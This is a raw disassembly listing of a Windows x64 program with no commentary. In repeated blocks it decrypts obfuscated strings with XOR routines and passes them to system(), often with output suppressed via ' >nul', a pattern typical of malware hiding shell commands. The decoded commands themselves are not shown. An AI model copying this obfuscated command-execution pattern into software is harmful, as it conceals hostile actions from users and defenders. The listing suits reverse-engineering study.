vmovdqu ymm0, ymmword [rbp + 0x4b40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4b00]
vmovdqa ymmword [rbp + 0x4b00], ymm1
mov qword [rbp + 0x4b78], rax
vmovdqu ymm0, ymmword [rbp + 0x4b60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4b20]
vmovdqa ymmword [rbp + 0x4b20], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x2ea0]
call fcn.140050ad0
mov rbx, rax
xor eax, eax
lea rdx, [rbp + 0x3b73]
mov byte [rbp + 0x38], al
lea rcx, [rbp + 0x38]
call fcn.14007c6c0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x14005fd31
mov r8d, esi
cmp r15d, 2
jl 0x14005fcf3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005fc00
cmp r8d, 0x31
jge 0x14005fd31
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x14005fd00
mov r8, rbx
lea rcx, [rbp + 0x2ec0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2ee0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2ee0]
call fcn.14003a690
lea rcx, [rbp + 0x2ec0]
call fcn.14003a690
lea rcx, [rbp + 0x2ea0]
call fcn.14003a690
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b80], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b88], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b90], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4b98], rax
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ba0], rax
movabs rax, 0x47b0e0685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ba8], rax
movabs rax, 0xc8fd709a93752ff2
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bb0], rax
movabs rax, 0x777b290db3cd8d36
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bb8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bc0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bc8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bd0], rax
movabs rax, 0x1a9edca541b99752
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bd8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4be0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4be8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4bf0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x4b80]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4bc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4b80]
vmovdqa ymmword [rbp + 0x4b80], ymm1
mov qword [rbp + 0x4bf8], rax
vmovdqu ymm0, ymmword [rbp + 0x4be0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4ba0]
vmovdqa ymmword [rbp + 0x4ba0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, r13d
lea rcx, [rbp + 0x2f00]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x402a]
xor eax, eax
lea rcx, [rbp + 0x39]
mov byte [rbp + 0x39], al
call fcn.14007c6f0
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x1400600d1
mov r8d, esi
cmp r15d, 2
jl 0x140060095
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005ffa2
cmp r8d, 0x33
jge 0x1400600d1
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x1400600a0
mov r8, rbx
lea rcx, [rbp + 0x2f20]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.0M_PRO
lea rcx, [rbp + 0x2f40]
call fcn.140083dd0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2f60]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2f60]
call fcn.14003a690
lea rcx, [rbp + 0x2f40]
call fcn.14003a690
lea rcx, [rbp + 0x2f20]
call fcn.14003a690
lea rcx, [rbp + 0x2f00]
call fcn.14003a690
xor eax, eax
movabs rbx, 0x1a9edca541b99752
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c00], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c08], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c10], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c18], rax
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c20], rax
movabs rax, 0x47abe0685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c28], rax
movabs rax, 0xc3b729c8c33c72c3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c30], rax
movabs rax, 0x777b2961c6a3df63
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c38], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c40], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c48], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c50], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c58], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c60], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c68], rax
lea rcx, [rbp + 0x4c00]
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c70], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x4c40]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c00]
vmovdqa ymmword [rbp + 0x4c00], ymm1
mov qword [rbp + 0x4c78], rax
vmovdqu ymm0, ymmword [rbp + 0x4c60]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c20]
vmovdqa ymmword [rbp + 0x4c20], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c80], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c88], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c90], rax
movabs rax, 0x74ffb1ce32d8e30e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4c98], rax
movabs rax, 0x9e1cc8cbe05b4112
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ca0], rax
movabs rax, 0x47a9e0685547a739
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ca8], rax
movabs rax, 0xc3b729c8c33c72c3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cb0], rax
movabs rax, 0x777b2961c6a3df63
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cb8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cc0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cc8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cd0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cd8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ce0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4ce8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4cf0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x4c80]
vmovdqu ymm0, ymmword [rbp + 0x4cc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4c80]
vmovdqa ymmword [rbp + 0x4c80], ymm1
mov qword [rbp + 0x4cf8], rax
vmovdqu ymm0, ymmword [rbp + 0x4ce0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4ca0]
vmovdqa ymmword [rbp + 0x4ca0], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x2f80]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3c9b]
xor eax, eax
lea rcx, [rbp + 0x3a]
mov byte [rbp + 0x3a], al
call fcn.14007c730
mov r10, rax
cmp byte [rax + 0x31], 0
je 0x140060661
mov r8d, esi
cmp r15d, 2
jl 0x140060623
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060530
cmp r8d, 0x32
jge 0x140060661
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x32
jl 0x140060630
mov r8, rbx
lea rcx, [rbp + 0x2fa0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2fc0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2fc0]
call fcn.14003a690
lea rcx, [rbp + 0x2fa0]
call fcn.14003a690
lea rcx, [rbp + 0x2f80]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x2fe0]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3ba4]
xor eax, eax
lea rcx, [rbp + 0x3b]
mov byte [rbp + 0x3b], al
call fcn.14007c760
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140060841
mov r8d, esi
cmp r15d, 2
jl 0x140060803
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060710
cmp r8d, 0x31
jge 0x140060841
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140060810
mov r8, rbx
lea rcx, [rbp + 0x3000]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3020]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3020]
call fcn.14003a690
lea rcx, [rbp + 0x3000]
call fcn.14003a690
lea rcx, [rbp + 0x2fe0]
call fcn.14003a690
xor eax, eax
lea rdx, [rbp + 0x45dc]
lea rcx, [rbp + 0x3c]
mov byte [rbp + 0x3c], al
call fcn.14007c790
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140060a11
mov r8d, esi
cmp r15d, 2
jl 0x1400609d3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x38
jl 0x1400608e0
cmp r8d, 0x3a
jge 0x140060a11
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x3a
jl 0x1400609e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x3040]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3bd5]
xor eax, eax
lea rcx, [rbp + 0x3d]
mov byte [rbp + 0x3d], al
call fcn.14007c7d0
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140060ba1
mov r8d, esi
cmp r15d, 2
jl 0x140060b63
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060a70
cmp r8d, 0x31
jge 0x140060ba1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140060b70
mov r8, rbx
lea rcx, [rbp + 0x3060]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x3080]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x3080]
call fcn.14003a690
lea rcx, [rbp + 0x3060]
call fcn.14003a690
lea rcx, [rbp + 0x3040]
call fcn.14003a690
mov edx, reloc.WS2_32.dll_ntohs
lea rcx, [rbp + 0x30a0]
call fcn.140050ad0
mov rbx, rax
lea rdx, [rbp + 0x3c06]
xor eax, eax
lea rcx, [rbp + 0x3e]
mov byte [rbp + 0x3e], al
call fcn.14007c800
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140060d81
mov r8d, esi
cmp r15d, 2
jl 0x140060d43
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x140060c50
cmp r8d, 0x31
jge 0x140060d81
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x31
jl 0x140060d50
mov r8, rbx
lea rcx, [rbp + 0x30c0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x30e0]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x30e0]
call fcn.14003a690
lea rcx, [rbp + 0x30c0]
call fcn.14003a690
lea rcx, [rbp + 0x30a0]
call fcn.14003a690
xor eax, eax
lea rdx, [rbp + 0x4616]
lea rcx, [rbp + 0x3f]
mov byte [rbp + 0x3f], al
call fcn.14007c830
mov r10, rax
cmp byte [rax + 0x39], 0
je 0x140060f51
mov r8d, esi
cmp r15d, 2
jl 0x140060f13
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
